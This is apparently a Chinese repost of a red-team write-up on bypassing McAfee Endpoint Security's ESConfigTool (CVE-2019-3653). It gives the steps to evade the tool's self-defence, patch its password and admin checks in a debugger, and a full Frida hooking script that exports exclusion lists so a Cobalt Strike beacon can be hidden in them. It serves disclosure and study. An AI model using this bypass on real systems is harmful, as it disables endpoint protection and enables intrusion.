介紹
這篇文章是關於我在一次紅隊活動中如何利用McAfee工具繞過McAfee Endpoint Security殺毒軟件的故事。本來我沒有計劃寫這篇文章,但當時的隊友@fsdominguezand和@_dirkjan覺得此事值得被記錄下來。現在,就讓我們開始吧。
McAfee
在以往,每當我們遇到McAfee Virus Scan Enterprise(VSE)的時候,都可以通過簡單地查詢註冊表,了解到那些位置是管理員指定的「特殊位置」(不受殺毒軟件影響)。
然而,在這次任務中,事情沒那麼簡單。因為他們使用的是McAfee Endpoint Security,從VSE時代到現在,McAfee可能認為最好不要將「特殊位置」之類的信息以明文形式存儲在任何人都可閱讀的文件中。
那麼,我們現在該把惡意文件放在哪裡?
ESConfigTool
McAfee Endpoint Security殺毒軟件附帶一個名為ESConfigTool的程序,可用於導入和導出配置文件。它的詳細用法如下。
我們發現,要從McAfee Endpoint Security得知安全設置,你需要:
- 解鎖密碼
- 管理權限
很遺憾這兩者我們都沒有。
現在,先讓我們下載一個試用版本的McAfee Endpoint Security,看看是否有入手點。

變化
我們最後決定還是以ESConfigTool為目標,看看它是否有漏洞。我先創建了三個「特殊位置」:
- C:WindowsTemp
- *mimikatz.exe
- C:TotallyLegit

還設置了密碼保護:starwars。

打開一個cmd,看看我們是否可以得到這些設置信息。
Microsoft Windows [Version 10.0.16299.15] (c) 2017 Microsoft Corporation. All rights reserved. C:Windowssystem32>"C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" /export C:Export.xml /module TP /unlock starwars /plaintext Command executed successfully. Please refer to Endpoint Security logs for details C:Windowssystem32>
讓我們打開xml文件,看看是否有敏感信息:
<EXCLUSION_ITEMS> <EXCLUSION_ITEM> <EXCLUSION_BY_NAME_OR_LOCATION>C:WindowsTemp</EXCLUSION_BY_NAME_OR_LOCATION> <EXCLUSION_FILE_TYPE /> <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE> <EXCLUSION_TYPE>3</EXCLUSION_TYPE> <EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS> <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ> <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE> <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE> </EXCLUSION_ITEM> <EXCLUSION_ITEM> <EXCLUSION_BY_NAME_OR_LOCATION>***mimikatz.exe</EXCLUSION_BY_NAME_OR_LOCATION> <EXCLUSION_FILE_TYPE /> <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE> <EXCLUSION_TYPE>3</EXCLUSION_TYPE> <EXCLUSION_EXCLUDE_SUBFOLDERS>0</EXCLUSION_EXCLUDE_SUBFOLDERS> <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ> <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE> <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE> </EXCLUSION_ITEM> <EXCLUSION_ITEM> <EXCLUSION_BY_NAME_OR_LOCATION>C:TotallyLegit</EXCLUSION_BY_NAME_OR_LOCATION> <EXCLUSION_FILE_TYPE /> <EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE> <EXCLUSION_TYPE>3</EXCLUSION_TYPE> <EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS> <EXCLUSION_ON_READ>1</EXCLUSION_ON_READ> <EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE> <EXCLUSION_SOURCE>0</EXCLUSION_SOURCE> </EXCLUSION_ITEM> </EXCLUSION_ITEMS>
是的,在擁有管理員權限以及輸入了正確密碼的情況下,你可以得到安全設置。讓我們通過x64dbg軟件,看一下它的整體流程。
Self-defense
通常使用調試軟件打開二進制文件是很簡單的,但由於我們面對的是安全軟件,所以有一些額外的障礙。一個重要的原因是,McAfee的大部分組件都有「自衛」功能。如果你嘗試使用調試軟件,將立即得到一個Debugging stopped消息,McAfee對這種可疑行為極為敏感。

12/10/2019 12:47:09 mfeesp(2204.6392) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494. 12/10/2019 12:47:09 mfeesp(2204.5404) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.
看來我們首先需要繞過這種自我防禦機制。
Microsoft Windows [Version 10.0.16299.15] (c) 2017 Microsoft Corporation. All rights reserved. C:Usersadmin>mkdir temp C:Usersadmin>cd temp C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" . 1 file(s) copied. C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security Platformblframework.dll" . 1 file(s) copied. C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformEpSecApiLib.dll" . 1 file(s) copied. C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformMcVariantExport.dll" . 1 file(s) copied. C:temp>copy "C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformLogLib.dll" . 1 file(s) copied. C:temp>
沒錯,只要像如上所述瘋狂複製文件,你就可以繞過自我防禦,對軟件進行調試。現在,讓我們開始調試吧。

繞過密碼檢查
先讓我們看看當使用錯誤的密碼時會發生什麼,也許會有一些字符提示:
C:Windowssystem32>"C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" /export C:Export.xml /module TP /unlock startrek /plaintext There were some errors while executing command. Please refer to Endpoint Security logs for details C:Windowssystem32>
嗯,沒什麼特別的。不過McAfee的日誌文件提供了更多信息:
10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) <admin> ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed
讓我們在調試器中搜索特定字符串,看看能否找到這個錯誤的來源。

現在我們把這個位置設為斷點,再運行一次,看看在斷點之前發生了什麼。我們可以看到一個函數調用了一個名為BLInvokeMethod的東西,後面還跟着一個沒有執行的跳轉:

此時,我們有兩個選擇:
- 進入密碼檢查函數,看看它是如何工作的,並嘗試破解密碼。
- 直接更改檢查函數的返回值。
因為我很懶,我所以選擇了第2項。當輸入錯誤的密碼時,密碼檢查函數會將錯誤代碼放入RAX寄存器:

如果提供了正確的密碼,則RAX寄存器的值為0:

那麼,如果我們提供了錯誤的密碼,將密碼檢查函數中斷,並將RAX寄存器的值改為0,會發生什麼情況呢?

成功導出設置!


看來密碼檢查只是由工具本身完成的,不牽涉其他組件,也不需要解密。
繞過管理員權限
在沒有管理員權限的情況下,ESConfigTool工具能使用的功能是非常有限的:
Microsoft Windows [Version 10.0.16299.15] (c) 2017 Microsoft Corporation. All rights reserved. C:Usersuser>"C:Program FilesMcAfeeEndpoint SecurityEndpoint Security PlatformESConfigTool.exe" /export C:tempExport.xml /module TP /unlock starwars /plaintext Description: Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file. USAGE: ESConfigTool.exe /export <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/plaintext ] ESConfigTool.exe /import <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/policyname <name> ] ESConfigTool.exe /help C:Usersuser>
我們怎樣才能知道權限檢查的流程呢?先讓我們以普通用戶的身份運行調試器,看看會發生什麼。發現它調用一個函數,並對返回值進行字符串比較,如果返回代碼不是0,則調用「exit」。

如果追蹤這個函數,會發現它將最終調用AllocateAndInitializeSid。不過這些都不值得花時間去逆向。讓我們再次嘗試偷懶的方法更改函數返回值。
返回值檢查如下:

這一次返回值必須是0以外的任何值。

OK,又成功了!

我們現在可以從McAfee Endpoint Security導出安全設置,不需要管理權限,不需要知道正確的密碼!
自動運行
到目前為止,一切都很順利,但是每次使用調試器更改返回值是一件痛苦的事情。不過幸運的是,存在Frida這麼一個有趣的東西,它可以幫你做所有很酷的事情,比如hook函數或改變其返回值,你不需要任何額外的技能,除了javascript!
那麼我們如何將Frida注入到McAfee呢?很簡單,frida-server。只需在運行McAfee的機器上啟動它,然後使用Python進行連接。
McAfee機器:
Microsoft Windows [Version 10.0.16299.15] (c) 2017 Microsoft Corporation. All rights reserved. C:Usersadmin>cd temp C:temp>frida-server-12.7.9-windows-x86_64.exe
Python機器:
Python 3.6.7 (default, Oct 22 2018, 11:32:17)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import frida
>>> devmgr = frida.get_device_manager()
>>> devmgr.add_remote_device('192.168.31.150')
Device(id="tcp@192.168.31.150", name="192.168.31.150", type='remote')
>>> rdev = frida.get_device('tcp@192.168.31.150')
>>> args = [
... 'ESConfigTool.exe',
... '/export',
... 'frida-export.xml',
... '/module',
... 'ESP',
... '/unlock',
... 'startrek',
... '/plaintext'
... ]
>>> pid = rdev.spawn(args)
>>> session = rdev.attach(pid)
>>> session
Session(pid=11168)
現在我們已經連接上,ESConfigTool.exe也正在運行!

現在我們可以將JS代碼注入到ESConfigTool進程中。
Frida腳本
我不會詳細介紹這個腳本的功能,其完整代碼如下:
const configbase = Module.findbaseAddress('ESConfigTool.exe');
//const adminCheck = configbase.add(0x5240); //32
const adminCheck = configbase.add(0x5f30); //64
const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
console.log('[-] base address is:',configbase);
console.log('[-] Admin check is:',adminCheck);
console.log('[-] BLInvokeMethod:',BLInvokeMethod);
Interceptor.attach(adminCheck, {
onEnter: function (args) {
console.log('[+] Hooked admin check function');
},
onLeave: function (retval) {
console.log('[+] Returning true for admin check');
retval.replace(1);
}
});
Interceptor.attach(BLInvokeMethod, {
onEnter: function (args) {
console.log('[+] Hooked BLInvokeMethod function');
},
onLeave: function (retval) {
console.log('[+] Patching password check function');
retval.replace(0x0);
}
});
這個腳本執行的正是我們在調試器中手動執行的操作,更改返回值。讓我們注入腳本,看看它是否有效:
>>> script = """
... const configbase = Module.findbaseAddress('ESConfigTool.exe');
... //const adminCheck = configbase.add(0x5240); //32
... const adminCheck = configbase.add(0x5f30); //64
... const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
...
... console.log('[-] base address is:',configbase);
... console.log('[-] Admin check is:',adminCheck);
... console.log('[-] BLInvokeMethod:',BLInvokeMethod);
...
... Interceptor.attach(adminCheck, {
... onEnter: function (args) {
... console.log('[+] Hooked admin check function');
... },
... onLeave: function (retval) {
... console.log('[+] Returning true for admin check');
... retval.replace(1);
... }
... });
...
... Interceptor.attach(BLInvokeMethod, {
... onEnter: function (args) {
... console.log('[+] Hooked BLInvokeMethod function');
... },
... onLeave: function (retval) {
... console.log('[+] Patching password check function');
... retval.replace(0x0);
... }
... });
...
... """
>>> session.create_script(script).load()
[-] base address is: 0x7ff73ed30000
[-] Admin check is: 0x7ff73ed35f30
[-] BLInvokeMethod: 0x7ffa4d759730
>>> rdev.resume(pid)
>>> [+] Hooked admin check function
[+] Returning true for admin check
[+] Hooked BLInvokeMethod function
[+] Patching password check function
>>>
最終結果如下:

雖然我是作為「admin」用戶運行的,但是沒有涉及UAC。相信我,這套方法也適用於普通用戶。
後續
現在,我們就可以把一個Cobalt Strike beacon放入那些「特殊位置」。儘管在本文中只討論了設置信息導出,但你也可以導入配置文件,添加「特殊位置」,更改其他設置,甚至完全刪除密碼。
值得一提的是,其實這個配置文件加密與否並不重要,因為你可以把它導入自己的McAfee軟件進行查看。
McAfee在確認了漏洞後,發佈了一個安全建議和相關的修復程序,漏洞被標記為CVE-2019-3653。
原創文章,作者:投稿專員,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/220439.html
微信掃一掃
支付寶掃一掃